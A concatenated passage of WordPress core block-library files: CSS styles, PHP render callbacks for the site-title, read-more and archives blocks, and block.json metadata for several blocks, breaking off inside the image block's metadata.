.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{
  align-self:end;
}

.wp-block-media-text .wp-block-media-text__media{
  grid-column:1;
  grid-row:1;
  margin:0;
}

.wp-block-media-text .wp-block-media-text__content{
  direction:rtl;
  grid-column:2;
  grid-row:1;
  padding:0 8%;
  word-break:break-word;
}

.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{
  grid-column:2;
  grid-row:1;
}

.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{
  grid-column:1;
  grid-row:1;
}

.wp-block-media-text__media img,.wp-block-media-text__media video{
  height:auto;
  max-width:unset;
  vertical-align:middle;
  width:100%;
}

.wp-block-media-text.is-image-fill .wp-block-media-text__media{
  background-size:cover;
  height:100%;
  min-height:250px;
}

.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{
  display:block;
  height:100%;
}

.wp-block-media-text.is-image-fill .wp-block-media-text__media img{
  height:1px;
  margin:-1px;
  overflow:hidden;
  padding:0;
  position:absolute;
  width:1px;
  clip:rect(0, 0, 0, 0);
  border:0;
}
@media (max-width:600px){
  .wp-block-media-text.is-stacked-on-mobile{
    grid-template-columns:100% !important;
  }
  .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{
    grid-column:1;
    grid-row:1;
  }
  .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{
    grid-column:1;
    grid-row:2;
  }
}<?php
/**
 * Server-side rendering of the `core/site-title` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/site-title` block on the server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string The render.
 */
function render_block_core_site_title( $attributes ) {
	$site_title = get_bloginfo( 'name' );
	if ( ! $site_title ) {
		return;
	}

	$tag_name = 'h1';
	$classes  = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}";
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes .= ' has-link-color';
	}

	if ( isset( $attributes['level'] ) ) {
		$tag_name = 0 === $attributes['level'] ? 'p' : 'h' . (int) $attributes['level'];
	}

	if ( $attributes['isLink'] ) {
		$aria_current = is_home() || ( is_front_page() && 'page' === get_option( 'show_on_front' ) ) ? ' aria-current="page"' : '';
		$link_target  = ! empty( $attributes['linkTarget'] ) ? $attributes['linkTarget'] : '_self';

		$site_title = sprintf(
			'<a href="%1$s" target="%2$s" rel="home"%3$s>%4$s</a>',
			esc_url( home_url() ),
			esc_attr( $link_target ),
			$aria_current,
			esc_html( $site_title )
		);
	}
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => trim( $classes ) ) );

	return sprintf(
		'<%1$s %2$s>%3$s</%1$s>',
		$tag_name,
		$wrapper_attributes,
		// already pre-escaped if it is a link.
		$attributes['isLink'] ? $site_title : esc_html( $site_title )
	);
}

/**
 * Registers the `core/site-title` block on the server.
 */
function register_block_core_site_title() {
	register_block_type_from_metadata(
		__DIR__ . '/site-title',
		array(
			'render_callback' => 'render_block_core_site_title',
		)
	);
}
add_action( 'init', 'register_block_core_site_title' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/navigation-link",
	"title": "Custom Link",
	"category": "design",
	"parent": [ "core/navigation" ],
	"allowedBlocks": [
		"core/navigation-link",
		"core/navigation-submenu",
		"core/page-list"
	],
	"description": "Add a page, link, or another item to your navigation.",
	"textdomain": "default",
	"attributes": {
		"label": {
			"type": "string"
		},
		"type": {
			"type": "string"
		},
		"description": {
			"type": "string"
		},
		"rel": {
			"type": "string"
		},
		"id": {
			"type": "number"
		},
		"opensInNewTab": {
			"type": "boolean",
			"default": false
		},
		"url": {
			"type": "string"
		},
		"title": {
			"type": "string"
		},
		"kind": {
			"type": "string"
		},
		"isTopLevelLink": {
			"type": "boolean"
		}
	},
	"usesContext": [
		"textColor",
		"customTextColor",
		"backgroundColor",
		"customBackgroundColor",
		"overlayTextColor",
		"customOverlayTextColor",
		"overlayBackgroundColor",
		"customOverlayBackgroundColor",
		"fontSize",
		"customFontSize",
		"showSubmenuIcon",
		"maxNestingLevel",
		"style"
	],
	"supports": {
		"reusable": false,
		"html": false,
		"__experimentalSlashInserter": true,
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"renaming": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-navigation-link-editor",
	"style": "wp-block-navigation-link"
}
.wp-block-navigation .block-list-appender{position:relative}.wp-block-navigation .has-child{cursor:pointer}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{z-index:29}.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;overflow:visible!important;visibility:visible!important;width:auto!important}.wp-block-navigation-item .wp-block-navigation-item__content{cursor:text}.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{min-width:20px}.wp-block-navigation-item .block-list-appender{margin:16px auto 16px 16px}.wp-block-navigation-link__invalid-item{color:#000}.wp-block-navigation-link__placeholder{background-image:none!important;box-shadow:none!important;position:relative;text-decoration:none!important}.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:var(--wp-admin-theme-color);background-image:linear-gradient(45deg,#0000 20%,var(--wp-underline-color) 30%,var(--wp-underline-color) 36%,#0000 46%),linear-gradient(135deg,#0000 54%,var(--wp-underline-color) 64%,var(--wp-underline-color) 70%,#0000 80%);background-position:0 100%;background-repeat:repeat-x;background-size:6px 3px;padding-bottom:.1em}.is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:#fff}.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{cursor:pointer}.link-control-transform{border-top:1px solid #ccc;padding:0 16px 8px}.link-control-transform__subheading{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.link-control-transform__items{display:flex;justify-content:space-between}.link-control-transform__item{flex-basis:33%;flex-direction:column;gap:8px;height:auto}.wp-block-navigation .block-list-appender{
  position:relative;
}
.wp-block-navigation .has-child{
  cursor:pointer;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container{
  z-index:28;
}
.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{
  z-index:29;
}
.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{
  height:auto !important;
  min-width:200px !important;
  opacity:1 !important;
  overflow:visible !important;
  visibility:visible !important;
  width:auto !important;
}
.wp-block-navigation-item .wp-block-navigation-item__content{
  cursor:text;
}
.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{
  min-width:20px;
}
.wp-block-navigation-item .block-list-appender{
  margin:16px 16px 16px auto;
}

.wp-block-navigation-link__invalid-item{
  color:#000;
}
.wp-block-navigation-link__placeholder{
  background-image:none !important;
  box-shadow:none !important;
  position:relative;
  text-decoration:none !important;
}
.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{
  --wp-underline-color:var(--wp-admin-theme-color);
  background-image:linear-gradient(-45deg, #0000 20%, var(--wp-underline-color) 30%, var(--wp-underline-color) 36%, #0000 46%), linear-gradient(-135deg, #0000 54%, var(--wp-underline-color) 64%, var(--wp-underline-color) 70%, #0000 80%);
  background-position:100% 100%;
  background-repeat:repeat-x;
  background-size:6px 3px;
  padding-bottom:.1em;
}
.is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{
  --wp-underline-color:#fff;
}
.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{
  cursor:pointer;
}
.link-control-transform{
  border-top:1px solid #ccc;
  padding:0 16px 8px;
}

.link-control-transform__subheading{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}

.link-control-transform__items{
  display:flex;
  justify-content:space-between;
}

.link-control-transform__item{
  flex-basis:33%;
  flex-direction:column;
  gap:8px;
  height:auto;
}.wp-block-navigation .wp-block-navigation-item__label{
  overflow-wrap:break-word;
}
.wp-block-navigation .wp-block-navigation-item__description{
  display:none;
}

.link-ui-tools{
  border-top:1px solid #f0f0f0;
  padding:8px;
}

.link-ui-block-inserter{
  padding-top:8px;
}

.link-ui-block-inserter__back{
  margin-left:8px;
  text-transform:uppercase;
}

.components-popover-pointer-events-trap{
  background-color:initial;
  cursor:pointer;
  inset:0;
  position:fixed;
  z-index:1000000;
}.wp-block-navigation .wp-block-navigation-item__label{overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}.link-ui-tools{border-top:1px solid #f0f0f0;padding:8px}.link-ui-block-inserter{padding-top:8px}.link-ui-block-inserter__back{margin-left:8px;text-transform:uppercase}.components-popover-pointer-events-trap{background-color:initial;cursor:pointer;inset:0;position:fixed;z-index:1000000}.wp-block-navigation .block-list-appender{position:relative}.wp-block-navigation .has-child{cursor:pointer}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{z-index:29}.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;overflow:visible!important;visibility:visible!important;width:auto!important}.wp-block-navigation-item .wp-block-navigation-item__content{cursor:text}.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{min-width:20px}.wp-block-navigation-item .block-list-appender{margin:16px 16px 16px auto}.wp-block-navigation-link__invalid-item{color:#000}.wp-block-navigation-link__placeholder{background-image:none!important;box-shadow:none!important;position:relative;text-decoration:none!important}.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:var(--wp-admin-theme-color);background-image:linear-gradient(-45deg,#0000 20%,var(--wp-underline-color) 30%,var(--wp-underline-color) 36%,#0000 46%),linear-gradient(-135deg,#0000 54%,var(--wp-underline-color) 64%,var(--wp-underline-color) 70%,#0000 80%);background-position:100% 100%;background-repeat:repeat-x;background-size:6px 3px;padding-bottom:.1em}.is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:#fff}.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{cursor:pointer}.link-control-transform{border-top:1px solid #ccc;padding:0 16px 8px}.link-control-transform__subheading{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.link-control-transform__items{display:flex;justify-content:space-between}.link-control-transform__item{flex-basis:33%;flex-direction:column;gap:8px;height:auto}.wp-block-navigation .block-list-appender{
  position:relative;
}
.wp-block-navigation .has-child{
  cursor:pointer;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container{
  z-index:28;
}
.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{
  z-index:29;
}
.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{
  height:auto !important;
  min-width:200px !important;
  opacity:1 !important;
  overflow:visible !important;
  visibility:visible !important;
  width:auto !important;
}
.wp-block-navigation-item .wp-block-navigation-item__content{
  cursor:text;
}
.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{
  min-width:20px;
}
.wp-block-navigation-item .block-list-appender{
  margin:16px auto 16px 16px;
}

.wp-block-navigation-link__invalid-item{
  color:#000;
}
.wp-block-navigation-link__placeholder{
  background-image:none !important;
  box-shadow:none !important;
  position:relative;
  text-decoration:none !important;
}
.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{
  --wp-underline-color:var(--wp-admin-theme-color);
  background-image:linear-gradient(45deg, #0000 20%, var(--wp-underline-color) 30%, var(--wp-underline-color) 36%, #0000 46%), linear-gradient(135deg, #0000 54%, var(--wp-underline-color) 64%, var(--wp-underline-color) 70%, #0000 80%);
  background-position:0 100%;
  background-repeat:repeat-x;
  background-size:6px 3px;
  padding-bottom:.1em;
}
.is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{
  --wp-underline-color:#fff;
}
.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{
  cursor:pointer;
}
.link-control-transform{
  border-top:1px solid #ccc;
  padding:0 16px 8px;
}

.link-control-transform__subheading{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}

.link-control-transform__items{
  display:flex;
  justify-content:space-between;
}

.link-control-transform__item{
  flex-basis:33%;
  flex-direction:column;
  gap:8px;
  height:auto;
}.wp-block-navigation .wp-block-navigation-item__label{overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}.link-ui-tools{border-top:1px solid #f0f0f0;padding:8px}.link-ui-block-inserter{padding-top:8px}.link-ui-block-inserter__back{margin-right:8px;text-transform:uppercase}.components-popover-pointer-events-trap{background-color:initial;cursor:pointer;inset:0;position:fixed;z-index:1000000}.wp-block-navigation .wp-block-navigation-item__label{
  overflow-wrap:break-word;
}
.wp-block-navigation .wp-block-navigation-item__description{
  display:none;
}

.link-ui-tools{
  border-top:1px solid #f0f0f0;
  padding:8px;
}

.link-ui-block-inserter{
  padding-top:8px;
}

.link-ui-block-inserter__back{
  margin-right:8px;
  text-transform:uppercase;
}

.components-popover-pointer-events-trap{
  background-color:initial;
  cursor:pointer;
  inset:0;
  position:fixed;
  z-index:1000000;
}<?php
/**
 * Server-side rendering of the `core/read-more` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/read-more` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string  Returns the post link.
 */
function render_block_core_read_more( $attributes, $content, $block ) {
	if ( ! isset( $block->context['postId'] ) ) {
		return '';
	}

	$post_ID    = $block->context['postId'];
	$post_title = get_the_title( $post_ID );
	if ( '' === $post_title ) {
		$post_title = sprintf(
			/* translators: %s is post ID to describe the link for screen readers. */
			__( 'untitled post %s' ),
			$post_ID
		);
	}
	$screen_reader_text = sprintf(
		/* translators: %s is either the post title or post ID to describe the link for screen readers. */
		__( ': %s' ),
		$post_title
	);
	$justify_class_name = empty( $attributes['justifyContent'] ) ? '' : "is-justified-{$attributes['justifyContent']}";
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $justify_class_name ) );
	$more_text          = ! empty( $attributes['content'] ) ? wp_kses_post( $attributes['content'] ) : __( 'Read more' );
	return sprintf(
		'<a %1s href="%2s" target="%3s">%4s<span class="screen-reader-text">%5s</span></a>',
		$wrapper_attributes,
		get_the_permalink( $post_ID ),
		esc_attr( $attributes['linkTarget'] ),
		$more_text,
		$screen_reader_text
	);
}

/**
 * Registers the `core/read-more` block on the server.
 */
function register_block_core_read_more() {
	register_block_type_from_metadata(
		__DIR__ . '/read-more',
		array(
			'render_callback' => 'render_block_core_read_more',
		)
	);
}
add_action( 'init', 'register_block_core_read_more' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/site-title",
	"title": "Site Title",
	"category": "theme",
	"description": "Displays the name of this site. Update the block, and the changes apply everywhere it’s used. This will also appear in the browser title bar and in search results.",
	"textdomain": "default",
	"attributes": {
		"level": {
			"type": "number",
			"default": 1
		},
		"textAlign": {
			"type": "string"
		},
		"isLink": {
			"type": "boolean",
			"default": true
		},
		"linkTarget": {
			"type": "string",
			"default": "_self"
		}
	},
	"example": {
		"viewportWidth": 500
	},
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"spacing": {
			"padding": true,
			"margin": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-site-title-editor",
	"style": "wp-block-site-title"
}
.wp-block-site-title__placeholder{border:1px dashed;padding:1em 0}.editor-styles-wrapper .wp-block-site-title a{color:inherit}.wp-block-site-title__placeholder{
  border:1px dashed;
  padding:1em 0;
}

.editor-styles-wrapper .wp-block-site-title a{
  color:inherit;
}.wp-block-site-title a{
  color:inherit;
}.wp-block-site-title a{color:inherit}.wp-block-site-title__placeholder{border:1px dashed;padding:1em 0}.editor-styles-wrapper .wp-block-site-title a{color:inherit}.wp-block-site-title__placeholder{
  border:1px dashed;
  padding:1em 0;
}

.editor-styles-wrapper .wp-block-site-title a{
  color:inherit;
}.wp-block-site-title a{color:inherit}.wp-block-site-title a{
  color:inherit;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/rss",
	"title": "RSS",
	"category": "widgets",
	"description": "Display entries from any RSS or Atom feed.",
	"keywords": [ "atom", "feed" ],
	"textdomain": "default",
	"attributes": {
		"columns": {
			"type": "number",
			"default": 2
		},
		"blockLayout": {
			"type": "string",
			"default": "list"
		},
		"feedURL": {
			"type": "string",
			"default": ""
		},
		"itemsToShow": {
			"type": "number",
			"default": 5
		},
		"displayExcerpt": {
			"type": "boolean",
			"default": false
		},
		"displayAuthor": {
			"type": "boolean",
			"default": false
		},
		"displayDate": {
			"type": "boolean",
			"default": false
		},
		"excerptLength": {
			"type": "number",
			"default": 55
		}
	},
	"supports": {
		"align": true,
		"html": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-rss-editor",
	"style": "wp-block-rss"
}
.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.wp-block-rss__placeholder-form>*{margin-bottom:0}}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1;min-width:80%}.wp-block-rss li a>div{
  display:inline;
}

.wp-block-rss__placeholder-form>*{
  margin-bottom:8px;
}
@media (min-width:782px){
  .wp-block-rss__placeholder-form>*{
    margin-bottom:0;
  }
}
.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{
  flex:1;
  min-width:80%;
}ul.wp-block-rss{
  list-style:none;
  padding:0;
}
ul.wp-block-rss.wp-block-rss{
  box-sizing:border-box;
}
ul.wp-block-rss.alignleft{
  margin-right:2em;
}
ul.wp-block-rss.alignright{
  margin-left:2em;
}
ul.wp-block-rss.is-grid{
  display:flex;
  flex-wrap:wrap;
  list-style:none;
  padding:0;
}
ul.wp-block-rss.is-grid li{
  margin:0 1em 1em 0;
  width:100%;
}
@media (min-width:600px){
  ul.wp-block-rss.columns-2 li{
    width:calc(50% - 1em);
  }
  ul.wp-block-rss.columns-3 li{
    width:calc(33.33333% - 1em);
  }
  ul.wp-block-rss.columns-4 li{
    width:calc(25% - 1em);
  }
  ul.wp-block-rss.columns-5 li{
    width:calc(20% - 1em);
  }
  ul.wp-block-rss.columns-6 li{
    width:calc(16.66667% - 1em);
  }
}

.wp-block-rss__item-author,.wp-block-rss__item-publish-date{
  display:block;
  font-size:.8125em;
}ul.wp-block-rss{list-style:none;padding:0}ul.wp-block-rss.wp-block-rss{box-sizing:border-box}ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;list-style:none;padding:0}ul.wp-block-rss.is-grid li{margin:0 1em 1em 0;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.wp-block-rss__placeholder-form>*{margin-bottom:0}}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1;min-width:80%}.wp-block-rss li a>div{
  display:inline;
}

.wp-block-rss__placeholder-form>*{
  margin-bottom:8px;
}
@media (min-width:782px){
  .wp-block-rss__placeholder-form>*{
    margin-bottom:0;
  }
}
.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{
  flex:1;
  min-width:80%;
}ul.wp-block-rss{list-style:none;padding:0}ul.wp-block-rss.wp-block-rss{box-sizing:border-box}ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;list-style:none;padding:0}ul.wp-block-rss.is-grid li{margin:0 0 1em 1em;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}ul.wp-block-rss{
  list-style:none;
  padding:0;
}
ul.wp-block-rss.wp-block-rss{
  box-sizing:border-box;
}
ul.wp-block-rss.alignleft{
  margin-right:2em;
}
ul.wp-block-rss.alignright{
  margin-left:2em;
}
ul.wp-block-rss.is-grid{
  display:flex;
  flex-wrap:wrap;
  list-style:none;
  padding:0;
}
ul.wp-block-rss.is-grid li{
  margin:0 0 1em 1em;
  width:100%;
}
@media (min-width:600px){
  ul.wp-block-rss.columns-2 li{
    width:calc(50% - 1em);
  }
  ul.wp-block-rss.columns-3 li{
    width:calc(33.33333% - 1em);
  }
  ul.wp-block-rss.columns-4 li{
    width:calc(25% - 1em);
  }
  ul.wp-block-rss.columns-5 li{
    width:calc(20% - 1em);
  }
  ul.wp-block-rss.columns-6 li{
    width:calc(16.66667% - 1em);
  }
}

.wp-block-rss__item-author,.wp-block-rss__item-publish-date{
  display:block;
  font-size:.8125em;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comments-pagination-next",
	"title": "Comments Next Page",
	"category": "theme",
	"parent": [ "core/comments-pagination" ],
	"description": "Displays the next comment's page link.",
	"textdomain": "default",
	"attributes": {
		"label": {
			"type": "string"
		}
	},
	"usesContext": [ "postId", "comments/paginationArrow" ],
	"supports": {
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-content",
	"title": "Content",
	"category": "theme",
	"description": "Displays the contents of a post or page.",
	"textdomain": "default",
	"usesContext": [ "postId", "postType", "queryId" ],
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"layout": true,
		"dimensions": {
			"minHeight": true
		},
		"spacing": {
			"blockGap": true
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": false,
				"text": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		}
	},
	"editorStyle": "wp-block-post-content-editor"
}
.wp-block-post-content.wp-block-post-content{-webkit-user-select:none;user-select:none}.wp-block-post-content.wp-block-post-content{
  -webkit-user-select:none;
          user-select:none;
}.wp-block-post-content.wp-block-post-content{-webkit-user-select:none;user-select:none}.wp-block-post-content.wp-block-post-content{
  -webkit-user-select:none;
          user-select:none;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-author-biography",
	"title": "Author Biography",
	"category": "theme",
	"description": "The author biography.",
	"textdomain": "default",
	"attributes": {
		"textAlign": {
			"type": "string"
		}
	},
	"usesContext": [ "postType", "postId" ],
	"supports": {
		"spacing": {
			"margin": true,
			"padding": true
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
<?php
/**
 * Server-side rendering of the `core/archives` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/archives` block on server.
 *
 * @see WP_Widget_Archives
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the post content with archives added.
 */
function render_block_core_archives( $attributes ) {
	$show_post_count = ! empty( $attributes['showPostCounts'] );
	$type            = isset( $attributes['type'] ) ? $attributes['type'] : 'monthly';

	$class = 'wp-block-archives-list';

	if ( ! empty( $attributes['displayAsDropdown'] ) ) {

		$class = 'wp-block-archives-dropdown';

		$dropdown_id = wp_unique_id( 'wp-block-archives-' );
		$title       = __( 'Archives' );

		/** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */
		$dropdown_args = apply_filters(
			'widget_archives_dropdown_args',
			array(
				'type'            => $type,
				'format'          => 'option',
				'show_post_count' => $show_post_count,
			)
		);

		$dropdown_args['echo'] = 0;

		$archives = wp_get_archives( $dropdown_args );

		$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $class ) );

		switch ( $dropdown_args['type'] ) {
			case 'yearly':
				$label = __( 'Select Year' );
				break;
			case 'monthly':
				$label = __( 'Select Month' );
				break;
			case 'daily':
				$label = __( 'Select Day' );
				break;
			case 'weekly':
				$label = __( 'Select Week' );
				break;
			default:
				$label = __( 'Select Post' );
				break;
		}

		$show_label = empty( $attributes['showLabel'] ) ? ' screen-reader-text' : '';

		$block_content = '<label for="' . $dropdown_id . '" class="wp-block-archives__label' . $show_label . '">' . esc_html( $title ) . '</label>
		<select id="' . $dropdown_id . '" name="archive-dropdown" onchange="document.location.href=this.options[this.selectedIndex].value;">
		<option value="">' . esc_html( $label ) . '</option>' . $archives . '</select>';

		return sprintf(
			'<div %1$s>%2$s</div>',
			$wrapper_attributes,
			$block_content
		);
	}

	/** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */
	$archives_args = apply_filters(
		'widget_archives_args',
		array(
			'type'            => $type,
			'show_post_count' => $show_post_count,
		)
	);

	$archives_args['echo'] = 0;

	$archives = wp_get_archives( $archives_args );

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $class ) );

	if ( empty( $archives ) ) {
		return sprintf(
			'<div %1$s>%2$s</div>',
			$wrapper_attributes,
			__( 'No archives to show.' )
		);
	}

	return sprintf(
		'<ul %1$s>%2$s</ul>',
		$wrapper_attributes,
		$archives
	);
}

/**
 * Register archives block.
 */
function register_block_core_archives() {
	register_block_type_from_metadata(
		__DIR__ . '/archives',
		array(
			'render_callback' => 'render_block_core_archives',
		)
	);
}
add_action( 'init', 'register_block_core_archives' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/image",
	"title": "Image",
	"category": "media",
	"usesContext": [ "allowResize", "imageCrop", "fixedHeight" ],
	"description": "Insert an image to make a visual statement.",
	"keywords": [ "img", "photo", "picture" ],
	"textdomain": "default",
	"attributes": {
		"url": {
			"type": "string",
			"source": "attribute",
			"selector": "img",
			"attribute": "src",
			"__experimentalRole": "content"
		},
		"alt": {
			"type": "string",
			"source": "attribute",
			"selector": "img",
			"attribute": "alt",
			"default": "",
			"__experimentalRole": "content"
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption",
			"__experimentalRole": "content"
		},
		"lightbox": {
			"type": "object",
			"enabled": {
				"type": "boolean"
			}
		},
		"title": {
			"type": "string",
			"source": "attribute",
			"selector": "img",
			"attribute": "title",
			"__experimentalRole": "content"
		},
		"href": {
			"type": "string",
			"source": "attribute",
			"selector": "figure > a",
			"attribute": "href",
			"__experimentalRole": "content"
		},
		"rel": {
			"type": "string",
			"source": "attribute",
			"selector": "figure > a",
			"attribute": "rel"
		},
		"linkClass": {
			"type": "string",
			"source": "attribute",
			"selector": "figure > a",
			"attribute": "class"
		},
		"id": {
			"type": "number",
			"__experimentalRole": "content"
		},
		"width": {
			"type": "string"
		},
		"height": {
			"type": "string"
		},
		"aspectRatio": {
			"type": "string"
		},
		"scale": {
			"type": "string"
		},
		"sizeSlug": {
			"type": "string"
